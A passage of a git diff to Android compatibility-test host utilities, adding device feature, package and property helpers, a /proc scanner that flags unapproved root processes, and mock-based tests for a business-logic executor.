+            jsonFile = FileUtil.createTempFile(getClass().getSimpleName(), FILE_SUFFIX);
+            try (HostInfoStore store = new HostInfoStore(jsonFile)) {
+                store.open();
+                collectDeviceInfo(store);
+            } finally {
+                // Throw exception if file is empty so it will not be copied.
+                if (jsonFile != null && jsonFile.exists() &&
+                        jsonFile.length() == 0) {
+                    throw new EOFException(String.format("File empty: %s", deviceInfoName));
+                }
+            }
+            source = new FileInputStreamSource(jsonFile);
+            mLogger.addTestLog(deviceInfoName, LogDataType.TEXT, source);
         } catch (Exception e) {
-            e.printStackTrace();
+            CLog.e(e);
             fail(String.format("Failed to collect device info (%s): %s",
-                    collectionName, e.getMessage()));
+                    deviceInfoName, e.getMessage()));
+        } finally {
+            FileUtil.deleteFile(jsonFile);
+            StreamUtil.close(source);
         }
     }
 
@@ -52,4 +101,4 @@
      * Method to collect device information.
      */
     protected abstract void collectDeviceInfo(HostInfoStore store) throws Exception;
-}
\ No newline at end of file
+}
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHandler.java b/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHandler.java
index 8df1ebc..58840fd 100644
--- a/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHandler.java
+++ b/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHandler.java
@@ -37,7 +37,7 @@
 
 public class DynamicConfigHandler {
 
-    private final static String MERGED_CONFIG_FILE_FOLDER = "dynamic-config-files-merged";
+    private final static String FILE_EXT = ".dynamic";
     private static final String NS = null; //xml constant representing null namespace
     private static final String ENCODING = "UTF-8";
 
@@ -76,8 +76,7 @@
     private static File storeMergedConfigFile(Map<String, List<String>> configMap,
             String moduleName) throws XmlPullParserException, IOException {
 
-        File folder = FileUtil.createTempDir(MERGED_CONFIG_FILE_FOLDER);
-        File mergedConfigFile = new File(folder, moduleName + ".dynamic");
+        File mergedConfigFile = FileUtil.createTempFile(moduleName, FILE_EXT);
         OutputStream stream = new FileOutputStream(mergedConfigFile);
         XmlSerializer serializer = XmlPullParserFactory.newInstance().newSerializer();
         serializer.setOutput(stream, ENCODING);
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHostSide.java b/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHostSide.java
index fd823bf..29e7bfb 100644
--- a/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHostSide.java
+++ b/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHostSide.java
@@ -17,6 +17,7 @@
 package com.android.compatibility.common.util;
 
 import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.build.VersionedFile;
 
 import org.xmlpull.v1.XmlPullParserException;
 
@@ -26,8 +27,10 @@
 import java.util.Map;
 
 /**
- * Load dynamic config for device side test cases
+ * Utility to get value from a dynamic config file.
+ * @deprecated use DynamicConfigFileReader instead.
  */
+@Deprecated
 public class DynamicConfigHostSide {
 
     public static final String CONFIG_PATH_PREFIX = "DYNAMIC_CONFIG_FILE:";
@@ -58,11 +61,14 @@
      * @param info the invocation {@link IBuildInfo}
      * @param moduleName the name of the module of the file.
      * @return a {@link File} created from the downloaded file.
+     * @deprecated use CompatibilityBuildHelper#getDynamicConfigFiles
      */
+    @Deprecated
     public static File getDynamicConfigFile(IBuildInfo info, String moduleName) {
-        String path = info.getBuildAttributes().get(CONFIG_PATH_PREFIX + moduleName);
-        if (path!= null && !path.isEmpty()) {
-            return new File(path);
+        for (VersionedFile vFile : info.getFiles()) {
+            if (vFile.getVersion().equals(CONFIG_PATH_PREFIX + moduleName)) {
+                return vFile.getFile();
+            }
         }
         return null;
     }
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/FeatureUtil.java b/common/host-side/util/src/com/android/compatibility/common/util/FeatureUtil.java
new file mode 100644
index 0000000..87d257a
--- /dev/null
+++ b/common/host-side/util/src/com/android/compatibility/common/util/FeatureUtil.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+
+import java.util.HashSet;
+import java.util.Set;
+
+/**
+ * Host-side utility class for detecting system features
+ */
+public class FeatureUtil {
+
+    public static final String LEANBACK_FEATURE = "android.software.leanback";
+    public static final String LOW_RAM_FEATURE = "android.hardware.ram.low";
+    public static final String TELEPHONY_FEATURE = "android.hardware.telephony";
+    public static final String TV_FEATURE = "android.hardware.type.television";
+    public static final String WATCH_FEATURE = "android.hardware.type.watch";
+    public static final String FEATURE_MICROPHONE = "android.hardware.microphone";
+
+    /** Returns true if the device has a given system feature */
+    public static boolean hasSystemFeature(ITestDevice device, String feature)
+            throws DeviceNotAvailableException {
+        return device.hasFeature(feature);
+    }
+
+    /** Returns true if the device has any feature in a given collection of system features */
+    public static boolean hasAnySystemFeature(ITestDevice device, String... features)
+            throws DeviceNotAvailableException {
+        for (String feature : features) {
+            if (device.hasFeature(feature)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    /** Returns true if the device has all features in a given collection of system features */
+    public static boolean hasAllSystemFeatures(ITestDevice device, String... features)
+            throws DeviceNotAvailableException {
+        for (String feature : features) {
+            if (!device.hasFeature(feature)) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    /** Returns all system features of the device */
+    public static Set<String> getAllFeatures(ITestDevice device)
+            throws DeviceNotAvailableException {
+        Set<String> allFeatures = new HashSet<String>();
+        String output = device.executeShellCommand("pm list features");
+        for (String feature : output.split("[\\r?\\n]+")) {
+            allFeatures.add(feature.substring("feature:".length()));
+        }
+        return allFeatures;
+    }
+
+    /** Returns true if the device has feature TV_FEATURE or feature LEANBACK_FEATURE */
+    public static boolean isTV(ITestDevice device) throws DeviceNotAvailableException {
+        return hasAnySystemFeature(device, TV_FEATURE, LEANBACK_FEATURE);
+    }
+
+    /** Returns true if the device has feature WATCH_FEATURE */
+    public static boolean isWatch(ITestDevice device) throws DeviceNotAvailableException {
+        return hasSystemFeature(device, WATCH_FEATURE);
+    }
+
+    /** Returns true if the device is a low ram device:
+     *  1. API level &gt;= O
+     *  2. device has feature LOW_RAM_FEATURE
+     */
+    public static boolean isLowRam(ITestDevice device) throws DeviceNotAvailableException {
+        return ApiLevelUtil.isAtLeast(device, VersionCodes.O) &&
+                hasSystemFeature(device, LOW_RAM_FEATURE);
+    }
+
+    /** Returns true if the device has feature TELEPHONY_FEATURE */
+    public static boolean hasTelephony(ITestDevice device) throws DeviceNotAvailableException {
+        return hasSystemFeature(device, TELEPHONY_FEATURE);
+    }
+
+    /** Returns true if the device has feature FEATURE_MICROPHONE */
+    public static boolean hasMicrophone(ITestDevice device) throws DeviceNotAvailableException {
+        return hasSystemFeature(device, FEATURE_MICROPHONE);
+    }
+}
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/HostInfoStore.java b/common/host-side/util/src/com/android/compatibility/common/util/HostInfoStore.java
index 0a02d25..431a8af 100644
--- a/common/host-side/util/src/com/android/compatibility/common/util/HostInfoStore.java
+++ b/common/host-side/util/src/com/android/compatibility/common/util/HostInfoStore.java
@@ -53,9 +53,9 @@
      * Closes the writer.
      */
     @Override
-    public void close() throws IOException {
+    public void close() throws Exception {
         mJsonWriter.endObject();
-        mJsonWriter.flush();
+	mJsonWriter.flush();
         mJsonWriter.close();
     }
 
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/PackageUtil.java b/common/host-side/util/src/com/android/compatibility/common/util/PackageUtil.java
new file mode 100644
index 0000000..655bc05
--- /dev/null
+++ b/common/host-side/util/src/com/android/compatibility/common/util/PackageUtil.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.device.PackageInfo;
+
+/**
+ * Host-side utility class for PackageManager-related operations
+ */
+public class PackageUtil {
+
+    /** Returns true if a package with the given name exists on the device */
+    public static boolean exists(ITestDevice device, String packageName)
+            throws DeviceNotAvailableException {
+        return device.getInstalledPackageNames().contains(packageName);
+    }
+
+    /** Returns true if the app for the given package name is a system app for this device */
+    public static boolean isSystemApp(ITestDevice device, String packageName)
+            throws DeviceNotAvailableException {
+        PackageInfo info = device.getAppPackageInfo(packageName);
+        return (info != null) && info.isSystemApp();
+    }
+
+    /** Returns the version string of the package name, or null if the package can't be found */
+    public static String getVersionString(ITestDevice device, String packageName)
+            throws DeviceNotAvailableException {
+        PackageInfo info = device.getAppPackageInfo(packageName);
+        return (info != null) ? info.getVersionName() : null;
+    }
+}
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/PropertyUtil.java b/common/host-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
index 2cdcc23..5c6cc71 100644
--- a/common/host-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
+++ b/common/host-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
@@ -18,6 +18,11 @@
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
 
+import java.util.HashMap;
+import java.util.Map;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
 /**
  * Host-side utility class for reading properties and gathering information for testing
  * Android device compatibility.
@@ -29,6 +34,18 @@
      * shipped. Property should be undefined for factory ROM products.
      */
     public static final String FIRST_API_LEVEL = "ro.product.first_api_level";
+    private static final String BUILD_TAGS_PROPERTY = "ro.build.tags";
+    private static final String BUILD_TYPE_PROPERTY = "ro.build.type";
+    private static final String MANUFACTURER_PROPERTY = "ro.product.manufacturer";
+    private static final String TAG_DEV_KEYS = "dev-keys";
+
+    public static final String GOOGLE_SETTINGS_QUERY =
+            "content query --uri content://com.google.settings/partner";
+
+    /** Returns whether the device build is a user build */
+    public static boolean isUserBuild(ITestDevice device) throws DeviceNotAvailableException {
+        return propertyEquals(device, BUILD_TYPE_PROPERTY, "user");
+    }
 
     /** Returns whether the device build is the factory ROM */
     public static boolean isFactoryROM(ITestDevice device) throws DeviceNotAvailableException {
@@ -36,6 +53,17 @@
         return device.getProperty(FIRST_API_LEVEL) == null;
     }
 
+    /** Returns whether this build is built with dev-keys */
+    public static boolean isDevKeysBuild(ITestDevice device) throws DeviceNotAvailableException {
+        String buildTags = device.getProperty(BUILD_TAGS_PROPERTY);
+        for (String tag : buildTags.split(",")) {
+            if (TAG_DEV_KEYS.equals(tag.trim())) {
+                return true;
+            }
+        }
+        return false;
+    }
+
     /**
      * Return the first API level for this product. If the read-only property is unset,
      * this means the first API level is the current API level, and the current API level
@@ -45,4 +73,60 @@
         String propString = device.getProperty(FIRST_API_LEVEL);
         return (propString == null) ? device.getApiLevel() : Integer.parseInt(propString);
     }
+
+    /**
+     * Return the manufacturer of this product. If unset, return null.
+     */
+    public static String getManufacturer(ITestDevice device) throws DeviceNotAvailableException {
+        return device.getProperty(MANUFACTURER_PROPERTY);
+    }
+
+    /** Returns a mapping from client ID names to client ID values */
+    public static Map<String, String> getClientIds(ITestDevice device)
+            throws DeviceNotAvailableException {
+        Map<String,String> clientIds = new HashMap<>();
+        String queryOutput = device.executeShellCommand(GOOGLE_SETTINGS_QUERY);
+        for (String line : queryOutput.split("[\\r?\\n]+")) {
+            // Expected line format: "Row: 1 _id=123, name=<property_name>, value=<property_value>"
+            Pattern pattern = Pattern.compile("name=([a-z_]*), value=(.*)$");
+            Matcher matcher = pattern.matcher(line);
+            if (matcher.find()) {
+                String name = matcher.group(1);
+                String value = matcher.group(2);
+                if (name.contains("client_id")) {
+                    clientIds.put(name, value); // only add name-value pair for client ids
+                }
+            }
+        }
+        return clientIds;
+    }
+
+    /** Returns whether the property exists on this device */
+    public static boolean propertyExists(ITestDevice device, String property)
+            throws DeviceNotAvailableException {
+        return device.getProperty(property) != null;
+    }
+
+    /** Returns whether the property value is equal to a given string */
+    public static boolean propertyEquals(ITestDevice device, String property, String value)
+            throws DeviceNotAvailableException {
+        if (value == null) {
+            return !propertyExists(device, property); // null value implies property does not exist
+        }
+        return value.equals(device.getProperty(property));
+    }
+
+    /**
+     * Returns whether the property value matches a given regular expression. The method uses
+     * String.matches(), requiring a complete match (i.e. expression matches entire value string)
+     */
+    public static boolean propertyMatches(ITestDevice device, String property, String regex)
+            throws DeviceNotAvailableException {
+        if (regex == null || regex.isEmpty()) {
+            // null or empty pattern implies property does not exist
+            return !propertyExists(device, property);
+        }
+        String value = device.getProperty(property);
+        return (value == null) ? false : value.matches(regex);
+    }
 }
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/RootProcessScanner.java b/common/host-side/util/src/com/android/compatibility/common/util/RootProcessScanner.java
new file mode 100644
index 0000000..bb49c0c
--- /dev/null
+++ b/common/host-side/util/src/com/android/compatibility/common/util/RootProcessScanner.java
@@ -0,0 +1,237 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import java.util.HashSet;
+import java.util.InputMismatchException;
+import java.util.Scanner;
+import java.util.Set;
+import java.util.regex.Pattern;
+
+/** Crawls /proc to find processes that are running as root. */
+public class RootProcessScanner {
+
+    private Set<String> mPidDirs;
+    private ITestDevice mDevice;
+
+    public RootProcessScanner(ITestDevice device) throws DeviceNotAvailableException {
+        mDevice = device;
+        mPidDirs = new HashSet<>();
+        String lsOutput = device.executeShellCommand("ls -F /proc | grep /$"); // directories only
+        String[] lines = lsOutput.split("/?\r?\n"); // split by line, shave "/" suffix if present
+        for (String line : lines) {
+            if (Pattern.matches("\\d+", line)) {
+                mPidDirs.add(String.format("/proc/%s", line));
+            }
+        }
+    }
+
+    /** Processes that are allowed to run as root. */
+    private static final Pattern ROOT_PROCESS_WHITELIST_PATTERN = getRootProcessWhitelistPattern(
+            "debuggerd",
+            "debuggerd64",
+            "healthd",
+            "init",
+            "installd",
+            "lmkd",
+            "netd",
+            "servicemanager",
+            "ueventd",
+            "vold",
+            "watchdogd",
+            "zygote"
+    );
+
+    /** Combine the individual patterns into one super pattern. */
+    private static Pattern getRootProcessWhitelistPattern(String... patterns) {
+        StringBuilder rootProcessPattern = new StringBuilder();
+        for (int i = 0; i < patterns.length; i++) {
+            rootProcessPattern.append(patterns[i]);
+            if (i + 1 < patterns.length) {
+                rootProcessPattern.append('|');
+            }
+        }
+        return Pattern.compile(rootProcessPattern.toString());
+    }
+
+    /**
+     * Get the names of approved or unapproved root processes running on the system.
+     * @param approved whether to retrieve approved (true) or unapproved (false) processes
+     * @return names of approved or unapproved root processes running on the system
+     */
+    public Set<String> getRootProcesses(boolean approved)
+            throws DeviceNotAvailableException, MalformedStatMException {
+        Set<String> rootProcessDirs = getRootProcessDirs(approved);
+        Set<String> rootProcessNames = new HashSet<>();
+        for (String dir : rootProcessDirs) {
+            rootProcessNames.add(getProcessName(dir));
+        }
+        return rootProcessNames;
+    }
+
+    private Set<String> getRootProcessDirs(boolean approved)
+            throws DeviceNotAvailableException, MalformedStatMException {
+        Set<String> rootProcesses = new HashSet<>();
+        if (mPidDirs != null && mPidDirs.size() > 0) {
+            for (String processDir : mPidDirs) {
+                if (isRootProcessDir(processDir, approved)) {
+                    rootProcesses.add(processDir);
+                }
+            }
+        } else {
+            CLog.e("RootProcessScanner Failed to collect PID directories.");
+        }
+        return rootProcesses;
+    }
+
+    /**
+     * Returns processes in /proc that are running as root with a certain approval status.
+     * @throws FileNotFoundException
+     * @throws MalformedStatMException
+     */
+    private boolean isRootProcessDir(String pathname, boolean approved)
+            throws DeviceNotAvailableException, MalformedStatMException {
+        try {
+            return !isKernelProcess(pathname)
+                    && isRootProcess(pathname)
+                    && (isApproved(pathname) == approved);
+        } catch (InputMismatchException e) {
+            CLog.d("Path %s determined not to be a root process directory", pathname);
+            return false;
+        }
+    }
+
+    private boolean isKernelProcess(String processDir)
+            throws DeviceNotAvailableException, MalformedStatMException {
+        String statm = getProcessStatM(processDir);
+        try (Scanner scanner = new Scanner(statm)) {
+            boolean allZero = true;
+            for (int i = 0; i < 7; i++) {
+                if (scanner.nextInt() != 0) {
+                    allZero = false;
+                }
+            }
+
+            if (scanner.hasNext()) {
+                throw new MalformedStatMException(processDir
+                        + " statm expected to have 7 integers (man 5 proc)");
+            }
+
+            return allZero;
+        }
+    }
+
+    private String getProcessStatM(String processDir) throws DeviceNotAvailableException {
+        return mDevice.executeShellCommand(String.format("cat %s/statm", processDir));
+    }
+
+    public static class MalformedStatMException extends Exception {
+        MalformedStatMException(String detailMessage) {
+            super(detailMessage);
+        }
+    }
+
+    /**
+     * Return whether or not this process is running as root.
+     *
+     * @param processDir with the status file
+     * @return whether or not it is a root process
+     */
+    private boolean isRootProcess(String processDir) throws DeviceNotAvailableException {
+        String status = getProcessStatus(processDir);
+        try (Scanner scanner = new Scanner(status)) {
+            findToken(scanner, "Uid:");
+            boolean rootUid = hasRootId(scanner);
+            findToken(scanner, "Gid:");
+            boolean rootGid = hasRootId(scanner);
+            return rootUid || rootGid;
+        }
+    }
+
+    /**
+     * Return whether or not this process is approved to run as root.
+     *
+     * @param processDir with the status file
+     * @return whether or not it is a root-whitelisted process
+     * @throws FileNotFoundException
+     */
+    private boolean isApproved(String processDir) throws DeviceNotAvailableException {
+        String status = getProcessStatus(processDir);
+        try (Scanner scanner = new Scanner(status)) {
+            findToken(scanner, "Name:");
+            String name = scanner.next();
+            return ROOT_PROCESS_WHITELIST_PATTERN.matcher(name).matches();
+        }
+    }
+
+    /**
+     * Get the status File path that has name:value pairs.
+     * <pre>
+     * Name:   init
+     * ...
+     * Uid:    0       0       0       0
+     * Gid:    0       0       0       0
+     * </pre>
+     */
+    private String getProcessStatus(String processDir) throws DeviceNotAvailableException {
+        return mDevice.executeShellCommand(String.format("cat %s/status", processDir));
+    }
+
+    /**
+     * Convenience method to move the scanner's position to the point after the given token.
+     *
+     * @param scanner to call next() until the token is found
+     * @param token to find like "Name:"
+     */
+    private static void findToken(Scanner scanner, String token) {
+        while (true) {
+            String next = scanner.next();
+            if (next.equals(token)) {
+                return;
+            }
+        }
+
+        // Scanner will exhaust input and throw an exception before getting here.
+    }
+
+    /**
+     * Uid and Gid lines have four values: "Uid:    0       0       0       0"
+     *
+     * @param scanner that has just processed the "Uid:" or "Gid:" token
+     * @return whether or not any of the ids are root
+     */
+    private static boolean hasRootId(Scanner scanner) {
+        int realUid = scanner.nextInt();
+        int effectiveUid = scanner.nextInt();
+        int savedSetUid = scanner.nextInt();
+        int fileSystemUid = scanner.nextInt();
+        return realUid == 0 || effectiveUid == 0 || savedSetUid == 0 || fileSystemUid == 0;
+    }
+
+    /** Returns the name of the process corresponding to its process directory in /proc. */
+    private String getProcessName(String processDir) throws DeviceNotAvailableException {
+        String status = getProcessStatus(processDir);
+        try (Scanner scanner = new Scanner(status)) {
+            findToken(scanner, "Name:");
+            return scanner.next();
+        }
+    }
+}
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/ShellCommandUtil.java b/common/host-side/util/src/com/android/compatibility/common/util/ShellCommandUtil.java
new file mode 100644
index 0000000..a62a9f5
--- /dev/null
+++ b/common/host-side/util/src/com/android/compatibility/common/util/ShellCommandUtil.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+
+/**
+ * Device-side compatibility utility class for executing ADB shell commands.
+ */
+public class ShellCommandUtil {
+
+    public static void execute(ITestDevice device, String command)
+            throws DeviceNotAvailableException {
+        device.executeShellCommand(command);
+    }
+}
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/VersionCodes.java b/common/host-side/util/src/com/android/compatibility/common/util/VersionCodes.java
deleted file mode 100644
index 7611b2f..0000000
--- a/common/host-side/util/src/com/android/compatibility/common/util/VersionCodes.java
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-public class VersionCodes {
-    public static final int CUR_DEVELOPMENT = 10000;
-    public static final int BASE = 1;
-    public static final int BASE_1_1 = 2;
-    public static final int CUPCAKE = 3;
-    public static final int DONUT = 4;
-    public static final int ECLAIR = 5;
-    public static final int ECLAIR_0_1 = 6;
-    public static final int ECLAIR_MR1 = 7;
-    public static final int FROYO = 8;
-    public static final int GINGERBREAD = 9;
-    public static final int GINGERBREAD_MR1 = 10;
-    public static final int HONEYCOMB = 11;
-    public static final int HONEYCOMB_MR1 = 12;
-    public static final int HONEYCOMB_MR2 = 13;
-    public static final int ICE_CREAM_SANDWICH = 14;
-    public static final int ICE_CREAM_SANDWICH_MR1 = 15;
-    public static final int JELLY_BEAN = 16;
-    public static final int JELLY_BEAN_MR1 = 17;
-    public static final int JELLY_BEAN_MR2 = 18;
-    public static final int KITKAT = 19;
-    public static final int KITKAT_WATCH = 20;
-    public static final int LOLLIPOP = 21;
-    public static final int LOLLIPOP_MR1 = 22;
-    public static final int M = 23;
-    public static final int N = CUR_DEVELOPMENT;
-}
diff --git a/common/host-side/util/tests/Android.mk b/common/host-side/util/tests/Android.mk
index 338d6c3..5741ec4 100644
--- a/common/host-side/util/tests/Android.mk
+++ b/common/host-side/util/tests/Android.mk
@@ -18,7 +18,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := compatibility-host-util junit-host json-prebuilt tradefed
+LOCAL_JAVA_LIBRARIES := compatibility-host-util easymock junit-host json-prebuilt tradefed
 
 LOCAL_MODULE := compatibility-host-util-tests
 
diff --git a/common/host-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicHostExecutorTest.java b/common/host-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicHostExecutorTest.java
new file mode 100644
index 0000000..140f9da
--- /dev/null
+++ b/common/host-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicHostExecutorTest.java
@@ -0,0 +1,318 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.compatibility.common.util;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.ITestDevice;
+
+import org.easymock.EasyMock;
+import org.junit.AssumptionViolatedException;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+import junit.framework.AssertionFailedError;
+
+/**
+ * Tests for {@link BusinessLogicHostExecutor}.
+ */
+@RunWith(JUnit4.class)
+public class BusinessLogicHostExecutorTest {
+
+    private static final String THIS_CLASS =
+            "com.android.compatibility.common.util.BusinessLogicHostExecutorTest";
+    private static final String METHOD_1 = THIS_CLASS + ".method1";
+    private static final String METHOD_2 = THIS_CLASS + ".method2";
+    private static final String METHOD_3 = THIS_CLASS + ".method3";
+    private static final String METHOD_4 = THIS_CLASS + ".method4";
+    private static final String METHOD_5 = THIS_CLASS + ".method5";
+    private static final String METHOD_6 = THIS_CLASS + ".method6";
+    private static final String METHOD_7 = THIS_CLASS + ".method7";
+    private static final String METHOD_8 = THIS_CLASS + ".method8";
+    private static final String METHOD_9 = THIS_CLASS + ".method9";
+    private static final String METHOD_10 = THIS_CLASS + ".method10";
+    private static final String FAKE_METHOD = THIS_CLASS + ".methodDoesntExist";
+    private static final String ARG_STRING_1 = "arg1";
+    private static final String ARG_STRING_2 = "arg2";
+
+    private static final String OTHER_METHOD_1 = THIS_CLASS + "$OtherClass.method1";
+
+    private String mInvoked = null;
+    private Object[] mArgsUsed = null;
+    private IBuildInfo mMockBuild;
+    private ITestDevice mMockDevice;
+    private BusinessLogicExecutor mExecutor;
+
+    @Before
+    public void setUp() {
+        mMockBuild = EasyMock.createMock(IBuildInfo.class);
+        mMockDevice = EasyMock.createMock(ITestDevice.class);
+        mExecutor = new BusinessLogicHostExecutor(mMockDevice, mMockBuild, this);
+        // reset the instance variables tracking the method invoked and the args used
+        mInvoked = null;
+        mArgsUsed = null;
+        // reset the OtherClass class variable tracking the method invoked
+        OtherClass.otherInvoked = null;
+    }
+
+    @Test
+    public void testInvokeMethodInThisClass() throws Exception {
+        mExecutor.invokeMethod(METHOD_1);
+        // assert that mInvoked was set for this BusinessLogicDeviceExecutorTest instance
+        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_1);
+    }
+
+        @Test
+    public void testInvokeMethodInOtherClass() throws Exception {
+        mExecutor.invokeMethod(OTHER_METHOD_1);
+        // assert that OtherClass.method1 was invoked, and static field of OtherClass was changed
+        assertEquals("Failed to invoke method in other class", OtherClass.otherInvoked,
+                OTHER_METHOD_1);
+    }
+
+    @Test
+    public void testInvokeMethodWithStringArgs() throws Exception {
+        mExecutor.invokeMethod(METHOD_2, ARG_STRING_1, ARG_STRING_2);
+        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_2);
+        // assert both String arguments were correctly set for method2
+        assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+        assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+    }
+
+    @Test
+    public void testInvokeMethodWithStringAndDeviceArgs() throws Exception {
+        mExecutor.invokeMethod(METHOD_3, ARG_STRING_1);
+        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_3);
+        // assert that String arg and ITestDevice arg were correctly set for method3
+        assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+        assertEquals("Failed to set second argument", mArgsUsed[1], mMockDevice);
+    }
+
+    @Test
+    public void testInvokeMethodWithDeviceAndStringArgs() throws Exception {
+        mExecutor.invokeMethod(METHOD_4, ARG_STRING_1);
+        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_4);
+        // Like testInvokeMethodWithStringAndDeviceArgs, but flip the args for method4
+        assertEquals("Failed to set first argument", mArgsUsed[0], mMockDevice);
+        assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_1);
+    }
+
+    @Test
+    public void testInvokeMethodWithStringArrayArg() throws Exception {
+        mExecutor.invokeMethod(METHOD_5, ARG_STRING_1, ARG_STRING_2);
+        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_5);
+        // assert both String arguments were correctly set for method5
+        assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+        assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+    }
+
+    @Test
+    public void testInvokeMethodWithEmptyStringArrayArg() throws Exception {
+        mExecutor.invokeMethod(METHOD_5);
+        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_5);
+        // assert no String arguments were set for method5
+        assertEquals("Incorrectly set args", mArgsUsed.length, 0);
+    }
+
+    @Test
+    public void testInvokeMethodWithStringAndStringArrayArgs() throws Exception {
